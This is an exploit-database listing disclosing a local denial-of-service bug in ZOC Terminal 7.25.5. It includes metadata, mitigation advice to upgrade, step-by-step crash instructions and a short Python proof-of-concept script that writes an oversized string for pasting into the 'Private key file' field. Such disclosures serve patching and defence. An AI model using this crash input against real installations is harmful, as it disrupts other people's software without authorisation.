ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)

vendor:

ZOC Terminal

by:

chuyreds

7.8

CVSS

HIGH

Local

CWE

Product Name: ZOC Terminal

Affected Version From: 7.25.5

Affected Version To: 7.25.5

Patch Exists: YES

Related CWE: N/A

CPE: a:emtec:zoc_terminal:7.25.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

ZOC Terminal v7.25.5 – ‘Private key file’ Denial of Service (PoC)

A local denial of service vulnerability exists in ZOC Terminal v7.25.5 due to improper validation of user-supplied input. An attacker can exploit this vulnerability by running a specially crafted python code, copying the content of the generated file to clipboard, opening ZOC Terminal, selecting File > Create SSH Key Files..., selecting the 'Private key file:' field, erasing it and pasting the clipboard content, and clicking on 'Create public/private key files...' to crash the application.

Mitigation:

Upgrade to the latest version of ZOC Terminal.

Source

Exploit-DB raw data:

# Exploit Title: ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.emtec.com
# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe
# Tested Version: 7.25.5
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: ZOC_7.25.5_PrivateKeyFile.py
#2.- Open ZOC_7.25.5_PrivateKeyFile.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

buffer = "\x41" * 2000
f = open ("ZOC_7.25.5_PrivateKeyFile.txt", "w")
f.write(buffer)
f.close()